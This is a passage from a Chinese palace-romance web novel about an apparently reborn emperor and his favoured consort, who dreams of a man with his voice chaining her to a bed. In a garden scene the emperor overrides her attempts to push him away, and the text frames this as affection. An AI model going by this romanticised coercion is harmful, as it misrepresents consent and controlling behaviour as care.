她看了看头顶上的床帐,梦境里从来都模糊不清的场景好似忽然就清晰了起来。
她闭上眼睛不愿自己想,在滚烫的怀里顺从的低吟。
一切沉寂后,她闭着眼睛,感受到皇上在为她擦汗,动作温柔,她也眷念的捏紧皇上的衣襟。
她想,梦境里的人怎么会是皇上呢。
皇上对她极好,极温柔,一定不是的。
只是当她又睁开眼,目光触及到皇上敞开衣襟内胸膛上的伤口时,又情不自禁一颤,将手覆在了那上面。
魏祁本是正闭着眼睛缓神,感觉到胸膛处的触摸,不由低头看去,就见席容烟手指描摹他那处伤疤。
他伸手握住她的手指,低低道:“这伤疤是在朕十七岁时留下的,刀上有毒,割了腐肉后即便好了也留下了疤痕。”
魏祁并没有在意这一道伤疤,他从十五就入了军营,身上的伤口不少,胸膛这里的伤疤,并不算的上什么。
只是到底看起来有些狰狞,他又怕吓着她了,将衣襟拢住,又抱起人看了看她面容,潮湿的眸子下染着红晕,看起来格外的诱人,他没忍住又往那红唇上吻了吻,黑眸深深看向她,沙哑道:“一个伤疤没什么好看的,烟儿,这回朕让你舒服些么?”
第100章 很快就能习惯了
席容烟怔了下,又对上皇上的眼睛。
她不明白为什么皇上每次之后总要问她,好似她的感觉异常的重要。
但其实这样的话也是羞于启齿的。
她咬着唇,说不出那些话来,便轻轻的点头。
魏祁便笑了笑,又拍拍席容烟的后背:“睡吧。”
“明日再沐浴。”
席容烟听话的嗯了一声,又低头靠在皇上的怀里,闭上眼睛。
魏祁静静看了看席容烟在他怀里入睡的模样,又低头看向胸膛,那只手还放在他的伤口上。
他挑眉,又看了席容烟一眼,握着席容烟的手放在了腰侧,抱着她睡了过去。
第二日早上的时候,席容烟跟着皇上一起起来,她看着皇上从外间进来,仿佛梦里那个人挑开床帐,一脸阴沉的往她身上压下来。
这样的场景在梦中也有过,就连此刻皇上身后那张粉色的芙蓉石屏风也一模一样。
那缓缓过来的身影让她忽然面露出惊恐,熟悉的场景,仿佛那个人一进来,她就会做出这样心慌的动作。
魏祁看着席容烟后仰躲避动作,又对上她害怕的眸子,往床榻边走来的动作忽的一顿。
这样的场景他在前世见过了无数次。
但魏祁没想到,他还会再见到。
魏祁将步子顿在原处,微沉的眸子将眼底的阴沉压下去,这一幕其实是他最不愿再看到的。
他不知道为什么席容烟在看到他进来时,还会做出这样的反应。
他缓下神情,继续走到她的身边坐下,不动声色的看着席容烟脸上的情绪,又伸手握在她手上,有些担忧的问:“烟儿,怎么了?”
低沉的声音如夜色里的低语,旁边珊瑚木座玉钩宫灯幽幽透出光线,落在魏祁的半边脸颊上。
望着那双低沉的眸子,席容烟的眼前却又仿佛看到了另外的场景。
她看到自己的脚踝被锁链锁在床榻上,那人坐在床沿上,也是这样安静低沉的神情,脸上冷漠。
他说,烟儿,这就是你想要的是不是?
一辈子被锁在这里。
这就是你不听话的代价。
还是你也希望朕这么对你?
明明灭灭,那声音依稀响在耳边,分不清到底是谁在她耳边低语。
眼前皇上的眼睛又温柔又阴沉,她竟也分不清面前的皇上是不是真的皇上。
分不清耳边的那些话到底是梦里的声音,还是面前的皇上正在对她说话。
她忽然低头看去,悬在床沿的脚踝处什么都没有,又看向旁边,温柔的宫灯撒下缱绻的光色,屏风外有熟悉的影子站立,那是玉竹和宝珠。
她悬着的心又落下去,压着自己的心事,告诉自己,全都是梦。
再抬头的时候,正对上一双复杂的眼睛。
魏祁深深看着席容烟失神的反应,又见她刚才低头去看她的脚踝,他紧紧看着她的眼睛问:“烟儿,怎么了?”
席容烟张张口,想要告诉皇上她在梦中被人用锁链锁住了脚踝,可话到了喉间,又忽然咽下去。
她不知怎么的,竟不想告诉皇上。
她摇摇头,轻声道:“大抵是臣妾刚来承乾宫,还有些不习惯。”
魏祁叹息:“这里离朕最近,你去找朕也放便。”
“若是再有人对你不利,朕也能早点护住你。”
说着魏祁轻轻握了握席容烟单薄的肩膀:“烟儿,很快就能习惯了。”
“往后你会一直住在这里,等朕忙完一些事情,便会来与你同住。”
席容烟还从未听说过皇上与妃子同住一宫的,只听说过有帝后情深,一直同住一宫。
她心有触动,虽然没想过与皇上有那些佳话,却也心跳加快。
她倾身抱紧皇上,脸上染了红晕,温顺的轻轻嗯了一声。
魏祁垂眸看着席容烟的反应,又抱了抱她才起身走了出去。
出去时他看了一眼守在外殿的凌姑姑,沉着脸低低吩咐了一句才离开。
早朝过后,宣政殿内的龙案上堆满了折子,随手打开几个,便是说的同一件事,立太子。
魏祁眼底冷淡,高义又匆匆进来道:“秦大人与尚书左丞于大人求见陛下。”
魏祁的脸上依旧没有反应。
秦志清与忠靖侯府一样出身桢州大族,外人常评他理能有名,如今为御史台殿中侍御史,到底也忍不住要来搅浑水了。
魏祁顿了半晌,摆摆手,让高义去请人进来。
席容烟被太后请去慈宁宫,一拉着席容烟便问她肚子里的动静。
席容烟依旧摇头,手指抚在小腹上,其实她也不明白,怎么还没有怀上。
太后便一脸担忧的对席容烟低声道:“现在还是皇后那头的急了,朝中原桢州那一党的人,纷纷上折子让皇上立太子。”
“大殿下于情于理立为太子无论如何都是说得过去的,只是这太子一旦立下,再要另立,就要废很大的功夫了。”
“你肚子也快争气些,也让皇上别那么快立下太子。”
说着太后弯腰拉着席容烟来身边,神情认真的对她道:”或许现在让大皇子犯错也容易。”
席容烟一顿。
太后就低声道:“如今大皇子快生辰,按照以往是交由礼部来大办的,你只需要随口找个理由,在大殿下的生辰宴上说大殿下对你不敬,皇上定然会对大皇子厌恶。”
“如今你正得宠,皇后和大皇子不喜欢你怎么都说得过去,皇上又那般护你,这事定然能成。”
席容烟虽说知道背后会明争暗斗,但却不想用这样的手段。
她摇头道:“姑母,不说我这样做自己心里难安,难道皇上就看不出来有问题?”
“我不想这样做。”
太后一顿,看着席容烟叹道:“难道你就眼睁睁看着魏恒做太子?”
“他要真做上太子了,将来继承了皇位,你的孩子可不一定能安稳。”
“你记住,你是宠妃,是他父皇为了你不给他母亲脸面的宠妃,他心里恨你。”
“你可别看他年纪小,你不忍心先下手,他成了太子,将来就成了你的隐患,一心要除去你了。”
席容烟知道姑母的话,但她也记得皇上与她说过会立她的孩子为太子。
她不知道皇上的话是不是真的,但却信皇上对她的好,
她轻声道:“每年都有人劝谏皇上立太子,皇上也一直没立,皇上或许有皇上的考量呢?”
“要是皇上想立大殿下为太子,或许早就立下了。”
“姑母让我再看看。”
从太后那里出来,踏进承乾宫里,席容烟撑头看着窗外的秋千,又静静想了许久。
夜里魏祁过来之前,就早已知道席容烟这一日里做了什么。
更知道她与太后之间的话。
也知道她在下午发呆了许久是在想什么。
他慢条斯理的牵着她去罗汉塌上坐着,又低低的看着席容烟的眼睛,低沉道:“最近朝中一直在劝着朕立太子。”
第101章 朕虽是一国之君,但也是你的枕边人
席容烟没想到皇上会主动与她提起这个,一愣下抬头,微微有些惊诧。
魏祁对上席容烟的眼睛,看着她惊诧的眸子,又淡淡道:“不过朕从来没考虑过现在立太子。”
“更不打算立魏恒为太子。”
席容烟看向皇上沉静的眸子,心里却跳了一下。
她张张唇,下意识的开口问:“那皇上……”
话到一半席容烟又顿住,她明白这些事情不是她应该问的。
魏祁看了眼席容烟欲言又止的模样,笑了下。
其实太子的位置,即便席容烟不开口,他早为她准备好了。
将来她是后宫之主,全没有必要担心这些,全都是她的。
他将手指放在席容烟的小腹上,声音既漫不经心,又好似是分外严肃认真:“烟儿,朕说过,我们的孩子,会是太子。”
“朕既对你承诺,你就不用再胡思乱想。”
席容烟心抬头惊愕的看着皇上:“皇上为什么……”
魏祁捏着席容烟的下巴挑眉,看着她素净的脸庞,这样的承诺他不止对她说过一次。
现在他再告诉她,是要她安安心心呆在他身侧就是,其他的事情她都不用担心。
魏祁对上席容烟的眼眸,静静道:“朕虽是一国之君,但也是你的枕边人。”
“即便将来朕护不了你,我们的孩子也能护你。”
“你在朕身边,朕必然不会让你担惊受怕。”
席容烟怔然看着皇上额眼睛,又感动的低头扑进皇上的怀里。
皇上与她说的话,让她的心绪起伏,更让她觉得更舍不得皇上对她的好。
让她更依赖皇上,想让皇上一直陪在她的身边。
她一点都不喜欢这些日子自己心底深生出来的,那些抗拒皇上的情绪。
她不想再做那些噩梦了。
眼眶只觉得一股酸涩,她又抬起脸庞哑声道:“皇上这般待臣妾,臣妾唯有感激。”
“臣妾也只想一辈子陪在皇上身边。”
魏祁低头,瞧着面前人眼里含泪,像是总算明白了他对她的苦心与心意,长舒一口气,又抱紧她在怀里,手指擦去她泪光:“烟儿,朕不需要你感激朕。”
“朕只要你一辈子不离开朕就够了。”
说着魏祁静静看着席容烟眼睛,压下腰来靠近她:“烟儿,你会永远陪着朕么?”
席容烟盈盈看向皇上的眼睛,十分认真道:“臣妾会永远陪在皇上身边的。”
“皇上待臣妾这般好,臣妾也不想离开皇上。”
魏祁看着席容烟的眼睛。
如今已快是六月的天气,天气渐渐热了起来,席容烟身上也换下了稍厚的锦缎,换上轻薄的银丝纱春衣。
后背被皇上的手指按着,身前贴在皇上的胸膛上,仿佛能感受到皇上身上的温度。
温热的,隐隐能感受到那里面的心跳。
这样暧昧的姿势让席容烟脸颊发热,她想要低头,下巴却被皇上抬起来,她被迫迎上皇上的眼睛,就听见皇上低沉的声音落下:“烟儿不想离开朕,那怎么最近好似又有些躲着朕。”
席容烟一愣,原来皇上竟然察觉到了么。
还是已经很明显了。
她以为自己控制的很好了。
席容烟咬着唇,小声道:“臣妾没有……”
魏祁眼底看着那鲜红的唇瓣被咬出一排浅浅的牙印,便觉得身上一紧。
他往前倾了倾,热气往席容烟脸上扑去,又沙哑的问:“这些日子又做噩梦了么?”
席容烟摇头:“臣妾吃了太医的药后,没怎么梦魇了。”
魏祁静静看了席容烟两眼,又点头:“那药再吃些日子。”
其实那药苦的很,又的确是没什么用。
但她若说没用,皇上定然又要让太医重新开方子。
她总有预感,即便她吃再多药,也依旧不能让她不做噩梦。
她回想,那梦什么时候开始的呢。
好似是顾家出事的时候开始的。
但她又想不起梦里的人与顾家有什么联系。
她十分听话的点头,又弯腰去靠在皇上的肩膀上,静静的闭上眼睛。
魏祁的手指又落到席容烟的细腰上,捏了捏又问:“补气血的药按时吃了么?”
席容烟嗯了一声:“臣妾都按时吃了。”
其实这些魏祁都知道,不过是想找找话与她说。
闻着怀里淡淡的暖香气,他抱紧她柔软的身子又问:“外面的秋千喜欢么?”
席容烟软软唔了一声:“喜欢。”
细细哑哑的声音是女子特有的柔音,魏祁按紧了怀里的身子,又低嗅她身上的味道:“烟儿喜欢就好。”
席容烟觉得身子被皇上抱的有些喘不过气来,动了动身子,刚才推开一点,后背上的手指又按着她贴在皇上的怀里。
那修长的大手带着不容忽视的温度在她后背游走,她再迟钝也察觉到了那股暧昧的气氛。
脖子处传来一阵细痒,炙热的呼吸让她连耳垂都红了红。
接着她后背的手指离开,皇上往后退了退,一块微凉的东西抵在她唇上,皇上低低的声音响在耳边:“南边送来的甜瓜,你尝尝。”
席容烟低头看去,看着皇上指尖上的甜瓜,顺从张开口咬了一口。
甜瓜是南地特有的,清甜解暑,又有甜香,京城极少能吃到,只有在宫内才能吃到。
从前席容烟进宫,在太后那里吃过一两回,心心念念,可惜因着路途遥远,几千里路快马不眠不休也要大半月,因着容易坏,即便是宫里也不多。
席容烟没想到又能吃到。
对面皇上灼灼的眸子看着她:“喜欢么?”
席容烟也真真的喜欢,看向皇上:“臣妾极喜欢的,谢过皇上。”
魏祁便将剩下的又送到席容烟唇边,晦涩的眸子看着她布满水色的唇瓣,声音低沉:“喜欢就多吃一些。”
“碟子里还有。”
席容烟又咬了一口吃完,往旁边看去,碟子里还有好几块,又看向皇上问:“皇上不吃么?”
魏祁深深看着面前的人:“烟儿喂朕么?”
席容烟一怔,又红了脸庞。
她去拿了一块,手指还有些羞涩的抖了抖,送到皇上的唇边,小声道:“皇上也尝尝。”
魏祁眼底映着那抹红晕,低头咬了一口,又看着席容烟:“剩下的烟儿吃便是。”
席容烟怔然看着面前皇上咬过一口的甜瓜,心跳的快了快,在皇上看来的视线下,还是低头咬了下去。
第102章 朕许你一生一世,也许你只你一人
魏祁眼光灼灼的看着席容烟咬上自己咬过的地方,目光幽深,呼吸炙热起来。
前世里她连他用过的茶盏都不肯用的。
他弯腰凑近她,看着她粉色规矩的领子上那一串珍珠璎珞,也跟着勾勒出她起伏的曲线。
他捏向席容烟的手腕,就着她的手又低头吃了一口,又要她将她手上剩下的吃完。
席容烟的心扑扑直跳,手指都颤了颤,皇上这时候离她很近,呼吸都在她脸上,她只觉的脸颊红透,在皇上的注视下又咬了一口。
指尖的汁水从手腕划入袖中,带着一股黏腻的凉意,当最后一口吃下去的时候,下巴被挑起来,就是急风骤雨的吻。
帷幔外还站着宫女,玉竹和宝珠还守在旁边,席容烟脸颊红尽,皇上那双带着欲色的黑眸竟看的她有一丝害怕,仿佛梦中那男人的眼睛一般,如一头恶犬猛兽。
魏祁看着席容烟含羞带怯,眉眼盈盈,黛眉中的温顺静好,仿佛会一生一世温顺的跟随在他身边,让他为她遮风避雨,全心全意的只依赖他。
他的心滚烫,她唇畔上还有甜瓜的香气。他难得在她面前强势的捏住她下颌让她转过头来,看着她乌发间隐隐绰绰的珍珠耳坠,看她如画眉目永远缱绻安静,叹息一声,抱紧了她。
屋内早只剩下了两人,光影照进来,在地上倒映出两人交叠的身形。
宝珠透过帐幔上倒映出来的影子只看了一眼就红了脸不敢看,转身又让内侍后退一些。
屋内的席容烟趴在皇上的肩上,罗汉塌下散着她身上的衣裳和首饰,魏祁却依旧衣冠整齐,又抱着她往床榻上走。
身子被放到床塌上,席容烟看着皇上高大的身体压下来,面容尊贵,眼眸里欲色交织,交映出别样的狰狞。
她情不自禁将手往前面抵,更情不自禁将面前的皇上看成梦境里的那个人。
她已没法子控制自己的情绪。
害怕皇上,喜欢皇上,
她分不清,更没法子掌控自己。
甚至分不清是不是又在梦里。
她只能闭上眼睛,手指紧紧捏在皇上的衣襟上。
又缠绵到深夜才停歇。
住来承乾殿才两日,这两日里皇上的兴致都好似格外的高。
她也从来没有觉得这么难捱过。
从前她扯一扯皇上,皇上就会顺着她,这两日她扯也没用了。
席容烟早上醒来的时候身上酸痛的难受,低头看到松垮的衣襟,又将衣襟拢紧。
抬头又见皇上闭着的眸子,长眸冷清,睡着时看着有一股旁人勿近的冷漠。
她忽的心里生出些莫名的情绪,说不清是什么感觉。
她又垂下眼帘,翻了个身,看向头顶的床帐,这张床塌熟悉的让她心慌。
从前从未梦见过那张锁住她床塌的样子,如今躺在这里,却好似梦境中的一切都是真的。
魏祁在席容烟翻身的那一霎那便醒了过来,手指用了些力,人便又转回到了他怀里。
这两日他难得的满足,又翻身压在怀里的人身上,幽幽的看着她:“怎么醒这么早?”
说着他低头在她颈上深吸一口,又叹息道:“今日不上朝,再陪朕睡一会儿。”
身子被紧紧圈再皇上的怀里,密不透风的,哪里能睡着。
席容烟推了推:“皇上能不能先松开臣妾?”
魏祁却不怎么愿意放手,他好不容易满足后能再与席容烟温存,身上放松下来,又抱着席容烟翻了个身,让她趴在自己身上。
乌黑顺滑的青丝纷纷从后背到肩头一侧,将那张白净的小脸儿拢在其间,看起来愈加小巧精致。
魏祁深吸一口气,捏着她下巴让她抬头,细细看她温顺听话的模样,心生出一丝丝满足欢喜来。
前世里定然是不会有这种时候的,如今他已经十分满足。
她揉着那滑腻的下巴,些微遗憾的叹息:“烟儿的身子什么时候才能怀上朕的孩子。”
那个两人曾经有过的孩子,当他知道她怀上的时候,那时候的他欣喜的想过孩子的模样,更想过孩子的名字。
可惜,那孩子没有留下多久。
席容烟看着皇上遗憾的眼眸,小声问:“皇上很想让臣妾怀上孩子吗?”
魏祁笑了笑:“朕与你的孩子,朕自然很期待。”
席容烟又忽然想起昨夜皇上对她说的话,会立她们的孩子为太子。
她咬着唇,心里扑扑直跳,又小声道:“臣妾也想怀上皇上的孩子。”
这话早已取悦了魏祁。
或许是从前从未得到过她的一丝温存顺从,如今仅仅是她一句话便叫他心潮涌起,身体又紧绷起来。
明明不是纵欲的人,偏偏因她一句话便无法控制自己。
她说愿意生下他的孩子。
这就够了。
为她做什么都是值得的。
魏祁深深叹息一声,手指轻抚上席容烟的脸庞,手掌紧紧压在她后背上,沙哑的道:“烟儿,等你怀上朕的子嗣,朕便让你做皇后,做后宫里朕身边唯一的女子。”
“朕许你一生一世,也许你只你一人。”
一生一世。
唯你一人。
席容烟呆呆看着皇上的眼睛。
她的心乱跳,这样重的承诺,皇上好似随口就对她说了出来。
他是一国之君,也可以做出这样的承诺么。
自己在皇上的心里,值得皇上做出这样的承诺么。
她张张唇,呼吸一滞。
魏祁看着席容烟发愣的神情,那眼中倒映出自己的模样,是他再一次看清自己在她眼中的样子。
他仅仅因为她的一句话,就已经情不自禁。
更不期盼她的回答,只要她听见就够了。
只要她能够明白自己的心就够了。
魏祁托着席容烟的腰又将她往上提了提,又看着她:“烟儿,你愿意么?”
第103章 她的梦境
席容烟不明白皇上为什么会问她愿不愿意呢。
皇上是九五之尊,这样的承诺,只怕后宫里的每一个女子都是愿意的。
就连她也不意外。
她轻轻点头,小声道:“臣妾愿意。”
只是这话说出来的时候,心头却又忽然泛起一股难受来,叫她出口的话在喉间有一些艰涩。
她不明白自己是怎么了,她本该也喜欢上皇上的。
她现在也的确喜欢皇上。
捏在她下巴上的手指又紧了紧,她的脸庞被带到皇上的面前,那双幽深深情的眸子看着她,他听到皇上低沉的声音:“朕的烟儿……”
接着她落入一个温热的怀里,鼻端都是皇上的气息。
她完全被皇上的柔情包裹,分不清云里雾里,手掌贴在皇上宽厚的胸膛上,那里心跳有力,带给她分不清情绪的安心。
之后一连几日,席容烟夜里总是做梦。
她梦见她怀里抱着一个四岁大的孩子坐在秋千上,他埋在自己怀里,满脸委屈:“爹爹呢,他们都说爹爹死了,盛儿不信。”
“娘亲,爹爹真的死了么?”
“娘亲,盛儿想爹爹……”
秋千摇晃,她看见自己低头落泪,斑驳的树影落下来,安静又让人觉察出一股伤心。
她往前走了两步,面前的人却看不见她,她听见自己低低的声音,微微哽咽:“盛儿,往后在宫里,不许再提你爹爹。”
“一定要记着娘亲的话。”
席容烟想看清那个孩子的面容,那孩子的面容却模糊,她只听见任性的哭声,就一下子从梦中惊醒。
周遭的一切都是黑漆漆的。
她却从漆黑里清楚的知道这张床塌上每一处的位置,仿佛她曾经在这里呆过许久。
已经好几夜半夜从梦中醒来。
梦里的场景越来越清晰,那个秋千就是承乾宫内的那个秋千。
那张曾锁住她的床塌就是她正躺着这张床塌。
而梦里那个囚禁她,声音阴沉的人,与皇上的声音一模一样。
只是她明明没有孩子,为什么会梦见自己抱着一个孩子。
席容烟再睡不着,一下子从床榻上坐起来,又轻轻唤外头的宝珠进来。
今夜皇上没有过来,宝珠就守在屏风外头,即便席容烟的声音很小,她也能听到动静。
她从屏风外一进来,就看到席容烟单衣坐在床沿上,脸颊苍白,眼底疲惫。
宝珠一愣,连忙走到席容烟身边问:“主子怎么了?”
席容烟捂着胸口,低声道:“我心慌。”
宝珠吓了吓,连忙道:“要不现在去请太医吧。”
席容烟拉住她:“这会儿半夜就算了,明早再说。”
说着席容烟抬头看向周遭,又问宝珠:“你觉得这处地方熟悉吗?”
宝珠一愣,跟着席容烟的视线看了看周围,又看向席容烟灯下的眼睛:“我们才来承乾宫半月,奴婢从前没来过,没觉得熟悉。”
席容烟喃喃:“我怎么梦里总是梦见这里。”
宝珠担心道:“主子还做梦?”
席容烟手撑在额头上,一头青丝落下来,遮住她倦色的面容,投下暗影,细细的叹息传来:“明日还是问过太医了再说吧。”
第二日太医早早来为席容烟诊脉,他低着头从外头进来,走过精巧布置的每一处地方,最后停在席容烟面前。
如今席容烟是后宫里人人都知晓的,皇上最喜欢的宸妃,太医也不敢有一丝怠慢,连忙恭敬的问安。
接着就听到一声极好听的细腻声音传来:“张太医不用多礼。”
“这些日本宫夜里总梦魇,也总梦一些不着边际的东西。”
“还请张太医为本宫瞧瞧,可能为本宫调理好。”
一只青色宽边袖下的白净皓腕落在了他的面前,带着怡人的香气,光是瞧那手腕一眼,细腻匀称,肤如凝脂,便知晓宸妃的美貌。
张太医忙点头,拿出一张洁净的白帕放到席容烟的手腕上,伸手把脉上去。
把完脉,他又小心的抬头,视线缓缓上去,路过那脖上金银点翠的璎珞,又落到席容烟脸庞上,一对金镶翡翠水滴耳坠,发上只简单两根金累丝点翠镶珠兰花簪,便是一幅如繁花叠翠的美景。
那低垂的烟眉如远山,眉下眼眸似水,带着一丝倦懒,樱唇琼鼻,叫人看过去就舍不得移开目光。
又见那淡色的烟水眸子朝他看来,张太医才惊觉失态,连忙垂下了目光。
席容烟这几日夜里没睡好,白日里便总是心不在焉的失神,虽察觉到张太医在看她,也并没有觉得什么,只当他是在看她脸色如何,便又问:“如何?”
张太医正年轻,本这回不该他来的,偏偏师傅上回来诊脉过,没给宸妃根治,便不敢来了。
他把脉半晌其实也没把出什么问题来,除了有些气血不足,但也并不算有太大的毛病。
他心底斟酌一下,又低声的开口:“宸妃娘娘的脉弦细弱,惊悸伤神,以安神定志丸调理,应该能调理好。”
旁边的粉色芙蓉石蟠龙香炉缓缓升起一抹青烟,正是六月的天气,微微热起来,那青烟随着席容烟手中团扇轻扇,化为一抹雾气,缭绕开来。
香气四溢,张太医目光落到那垂下的裙摆上,白色的凤尾蝶刺绣栩栩如生,耳边轻缓传来的声音他竟也没听见,只闻着那香气,呆呆看着那裙摆。
席容烟见自己的话没回应,低头又见张太医看着她裙摆失神,不由将手腕搭在旁边的小案上,另一只手捏着扇子放在膝上微微弯腰:“张太医怎么了?”
张太医才如梦初醒,连忙抬头。
抬头的霎那与席容烟目光对上,那双极美的眸子让他又失了神。
第104章 或许朕舍不得你
他在太医院只听说过宸妃如何受宠,却从来未见过,如今一见,才觉得难怪宸妃受宠。
那香气若有似无的扑在他面前,他再不敢看面前的那双眸子,只将目光放在宸妃那微微悬空的颈链上,低声道:“还请宸妃娘娘再说一遍。”
席容烟揉了揉疲惫的眉间,又问了遍:“那安神定志丸吃多久能见好?”
张太医又低头,这回连宸妃的裙摆都不敢看,低低道:“寻常来说一月便能见效了。”
席容烟略有些遗憾的点头,还要一月才见效……
她被那些梦境缠身,夜夜不能睡好。
不过好歹能见效也好。
她让宝珠跟着张太医去拿药,又撑头在小案上看着上头放着的,刚送来不久的甜瓜。
这些日皇上每日都会让人送来,曾经她在太后那里的时候,也知道这个不常有,但入六月来,她这里便没断过。
她心不在焉的拿起一块,又咬了一口,甜味在唇舌中晕染开,她想起皇上温柔抱着她的场景,又垂下眸子。
这头宝珠跟着张太医出去,才出了帘子,就看到皇上居然站在帘外,也不知站了多久。
张太医一顿,忙跪下问安。
魏祁低低看了张太医一眼,眼底的阴沉让他周身看起来有些冷,又低声问:“宸妃怎么了?”
张太医便忙说了一遍。
魏祁抿着唇,又看了一眼跟在张太医身边的宝珠,不发一言的往里头走。
席容烟早听到帘子外的动静了,擦了手站起来,只是还没走到帘外,皇上就走了进来。
皇上进来的那刹那,她见着皇上冷沉的眉眼,凌厉眉峰下的那双长眸,看起来有一瞬的骇人。
她心里一跳,不由往后退了一步。
魏祁也没想到席容烟会站在帘子后,脸上的神情一顿,又看到席容烟后退的动作,抿了抿唇,又往她身边走了一步。
视线扫过她身后侍立的宫女,那罗汉塌中间的小案上还放着吃了半块的甜瓜。
他视线又回到席容烟的脸上,不动声色的缓了神情,又伸手牵着她去坐着,指尖摩挲在她掌心问:“又做噩梦了?”
席容烟想着皇上该是知晓了,便点点头,低声道:“夜里总是做梦,太医说臣妾应该是伤神,给臣妾开了安神的药丸来。”
说着席容烟抬头看向皇上:“或许是臣妾刚来承乾宫,还不习惯吧。”
外头明亮的光线照进来,落在席容烟有些苍白的面容上,那眼底的疲惫,一眼便能看出昨夜睡的不好。
他昨夜太忙,没有空闲过来,今早知道她作夜半夜醒来后就没睡后,依旧担心她。
承乾宫里的一切布置都是按照着席容烟的喜好来布置的,她喜欢的雕花,喜欢的茶几茶具,她从前爱好精雅,这里每样东西都是他花了心思的。
明明该是她会喜欢的地方,为什么她却觉得不习惯,总是做梦。
魏祁低声问:“烟儿都梦见什么了?”
席容烟下意识的就要将自己的梦境说出来,只是开口的一瞬间,她忽然顿住。
因为梦境里那个抢了她孩子,任她如何哭求都不愿将孩子给她的男人,与皇上有一模一样的声音,还有一样的身形。
尽管她还是看不清他的面容,可当那个男人低沉的在她耳边低语烟儿时,竟是那样的相似,又那样的让人心惊胆战。
她的话在舌尖打转,又轻声道:“臣妾梦见了一只吃人的猛兽,它追着臣妾,要将臣妾生吞入腹。”
“臣妾只能不停的跑。”
魏祁深深看着席容烟的眼睛,他从她刚才犹豫的那一刹那便知晓她没有说实话。
那梦里的内容,她不愿告诉他。
究竟是什么梦境。
魏祁没有追问,只是握紧席容烟的手:“你只是在宫里带的太久了,下午朕带你出去走走。”
“等朕这些日子忙完,再带你去避暑山庄里住些日子。”
席容烟很听话的点点头,又被皇上的手压着后背靠在他怀里,她听着耳边的心跳,又细声问:“皇上怎么这时候来看臣妾了?”
魏祁看着怀里的人,安安静静靠在自己怀里,那手指放在自己掌心,他揉了揉,又低声道:“朕不放心你。”
席容烟抬头小声道:“臣妾在承乾宫好好的,皇上怎么会不放心臣妾?”
魏祁笑了下,又捏了捏她光滑的脸庞,叹息道:“或许朕舍不得你吧。”
席容烟红了脸庞,伸手环在皇上的腰上:“臣妾也舍不得皇上。”
魏祁的手指扶了扶席容烟的后背,又微微一顿。
下午的时候,刚过申时,席容烟也刚好小睡起来,魏祁便来带着席容烟去小花园子里散心。
这里是专是皇上散心的地方,假山奇石,名花名树,还有流水石桥,席容烟也是第一回来这儿,看得目不暇接。
魏祁没让宫人跟着,独自牵着席容烟往深处走。
深处有假山凉亭,参天树阴带来凉爽,茉莉的淡香萦绕,流水潺潺听起来心情也好了许多。
又见着旁边的紫色绣球花一簇簇开的艳丽,一只蝴蝶正落在上头,席容烟驻足瞧了瞧,仿佛回到从前她在席府后院捉蝴蝶的时候。
她轻轻弯腰,伸手扑过去的时候,黄色蝴蝶早已飞远。
魏祁静静看着,又笑了笑,伸手握住她的手:“你要喜欢,朕待会儿叫人给你捉几只过来。”
席容烟忙摇头,笑道:“臣妾只是一时觉得像是回到了小时候,跟着大哥抓蝴蝶的时候,就想试试。”
魏祁看着席容烟脸上的笑意,眼底的疲倦散去,仿佛又是那年在云深寺无忧无虑的小姑娘。
那年小小的人已有惊艳的容色,如今她长大,越发的引人注目。
其实他当真想要一生都护着她。
魏祁伸手抚摸席容烟含笑的眼睛,微微弯弯的杏眸别样吸引人,他的心动了动,忍不住让她面前靠近一步。
他极喜欢她在自己面前含笑的面容,若是席容烟能多对他含笑,他大抵时刻也是高兴的。
就如此刻,他也不禁跟着她含了笑意。
高义从后头追过来,看着这幕场景,就犹豫着要不要开口。
到底还是又走过去小声道:“皇后娘娘等在园子外,说要见皇上。”
说着他又看了皇上一眼:“说是为了大殿下生辰的事情。”
第105章 烟儿,听话……
魏祁听了高义的话,脸上面无表情的摆摆手,没说一个字,让高义退下去,又牵着席容烟往前走。
高义看皇上半点反应没有,只好又转身回去给皇后回话。
往年大殿下过生辰,都是礼部大办宴会,众多官员过来庆贺,可今年大殿下过生辰,皇上只让庭内小宴,皇后不急才怪。
只怕外头都觉得大殿下是犯了什么错了,得了皇上厌弃。
只是怎么打发走皇后,却是难住了他。
他刚才看皇后的样子,像是极难打发的。
席容烟也听到了高公公的话,想问又顿住。
她又觉得放在腰上的手指紧了紧,身子被皇上带着往里头的假山洞里走,忽然昏暗的光线让她一愣,才刚抬头要说话,唇瓣就被皇上弯腰堵住。
她只听到皇上在她耳边低低沙哑的声音:“烟儿放心,这里不会有人来。”
席容烟的心里便慌乱起来,这里毕竟是外头,她脸热的推了推,奈何推不动,想要偏过脸去开口,偏偏皇上捏着她下巴让她动不了,呜呜两声,也挣扎不了。
感觉到裙摆被掀开,她心慌意乱,皇上低喃在耳边的情话又让她身子软了软:“烟儿,朕只想要你……”
“不会难受的……
她被翻了面,手掌撑在崎岖的假山璧中,微微的刺痛。
不知过了多久,手掌撑的已难受的不行,快要站不住,她动了动,身后的人压下来贴住她后背,炙热湿热的吻咬住她耳垂,低低轻叹:“烟儿,听话……”
听话……
她在梦中听到过那个男人对她说过无数次让她听话。
那个男人总是阴沉着脸,威胁的看着她,让她听话。
当她没有听话的时候,他就会变得更加可怕。
皇上的这一声,让她浑身僵硬,指尖紧了紧,又生生咬着唇畔,红了眼眶。
当虚软的身子被皇上横抱在怀里时,她手指握在领口上,通红的眼眸莹莹泪珠欲落不落,看得魏祁一顿。
刚才他的确兴致过来,但动作并不大,甚至他自己都难受着,也没怎么放纵。
这会儿看席容烟咬着唇泪盈盈的样子,他心里一紧,忙低头看着人问:“朕弄疼了?”
席容烟摇头,又埋在皇上的怀里。
这一瞬的委屈也不算什么,皇上宠爱她她也不该委屈。
魏祁怕席容烟乱想什么,打算抱着人回去再说。
出了园子,却见皇后就站在外头。
魏祁皱眉看了她一眼,没打算开口,就要抱着席容烟离开。
宋贺兰看着被皇上抱在怀里的席容烟,看着她裙摆摇曳,那露出一些的白皙面容上还有一丝薄红,被皇上紧紧的按在怀中。
她曾在大婚前幻想过的场景,席容烟却能轻而易举的得到。
她手指隐隐发抖,看着皇上离去的背影,颤抖的喊道:“恒儿究竟犯了什么错,皇上要这样对他。”
席容烟听到皇后的声音心里就有些不安。
她拽了拽皇上的袖子,想要从皇上的怀里下来。
皇上却更抱紧了她,连步子都没停。
皇后眼睁睁看着那无情的背影走远,甚至连一个眼神都不愿施舍给她。
她身子晃了晃,全靠着身边的嬷嬷撑住身子。
那玄衣外时不时荡起的裙摆刺痛了她的眼睛,第一次看到这样的场景,竟让她心生出一股绝望来。
